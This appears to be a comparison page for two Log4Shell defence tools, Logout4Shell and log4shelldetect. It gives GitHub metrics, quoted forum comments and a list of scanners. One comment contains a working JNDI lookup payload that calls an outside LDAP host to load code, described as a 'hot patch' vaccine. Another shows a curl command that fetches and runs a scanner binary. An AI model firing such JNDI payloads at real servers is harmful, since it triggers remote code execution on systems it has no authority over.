Logout4Shell
log4shelldetect
Logout4Shell | log4shelldetect | |
---|---|---|
34 | 3 | |
1,727 | 44 | |
- | - | |
2.6 | 0.0 | |
over 2 years ago | over 2 years ago | |
Java | Go | |
MIT License | The Unlicense |
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
Logout4Shell
-
Am I able to see which Dropbox accounts have viewed my links?
#1: RCE 0-day exploit found in log4j, a popular Java logging package | 276 comments #2: Godaddy hacked - including admin passwords for both WordPress sites hosted on the platform, as well as passwords for sFTPs, databases and SSL private keys. | 71 comments #3: Log4shell - using the vulnerability to patch the vulnerability - very clever | 64 comments
-
Ein etwas anderer Jahresrückblick: 2021 in Google Suchtrends
Hier gibt es eine Impfung gegen Log4Shell. Kein Witz: https://github.com/Cybereason/Logout4Shell
-
Log4j : Logpresso patch issue - remove jndi from jar
another option : https://github.com/Cybereason/Logout4Shell
-
I heard you can just inject your server with hydroxychloroquine
Yup
-
Patching Log4j
This is actually a thing
-
Analysis of the 2nd Log4j CVE published earlier (CVE-2021-45046 / Log4Shell2)
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
2: https://github.com/Cybereason/Logout4Shell
- GitHub - Cybereason/Logout4Shell: Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
- US warns hundreds of millions of devices at risk from newly revealed software vulnerability
-
Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:
a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it
b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system
-
Log4j 0day being exploited (mega thread/ overview)
For those that are interested!
log4shelldetect
-
Today is a bad day to run a VMWare cluster with thousands of java apps.
I'm not sure what you mean. You can deploy a built binary over your network and run it on all your servers. For example: curl -sSL https://github.com/1lann/log4shelldetect/releases/download/v0.0.2/log4shelldetect_0.0.2_Linux_x86_64.tar.gz | tar -C /tmp/ -zxf - log4shelldetect && /tmp/log4shelldetect -mode list /path/to/scan 2>/dev/null would download and extract the prebuilt binary to /tmp, and run it scanning at /path/to/scan, only outputting paths to potentially vulnerable .jars and ignoring warnings. You can replace the URL with your own build or distribute your own build as you wish.
- Log4j 0day being exploited
What are some alternatives?
grype - A vulnerability scanner for container images and filesystems
CVE-2021-44228-Scanner - Vulnerability scanner and mitigation patch for Log4j2 CVE-2021-44228
airsonic-advanced
local-log4j-vuln-scanner - Simple local scanner for vulnerable log4j instances
interactsh - An OOB interaction gathering server and client library
log4shell_ioc_ips - log4j / log4shell IoCs from multiple sources put together in one big file (IPs) more coming soon (CVE-2021-44228)
Apache Log4j 2 - Apache Log4j 2 is a versatile, feature-rich, efficient logging API and backend for Java.
log4j-sniffer - A tool that scans archives to check for vulnerable log4j versions
Logout4Shell - Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
Log4j-CVE-Detect - Detections for CVE-2021-44228 inside of nested binaries
log4j-detector - A public open sourced tool. Log4J scanner that detects vulnerable Log4J versions (CVE-2021-44228, CVE-2021-45046, etc) on your file-system within any application. It is able to even find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too! TAG_OS_TOOL, OWNER_KELLY, DC_PUBLIC
Windowslog4jClassRemover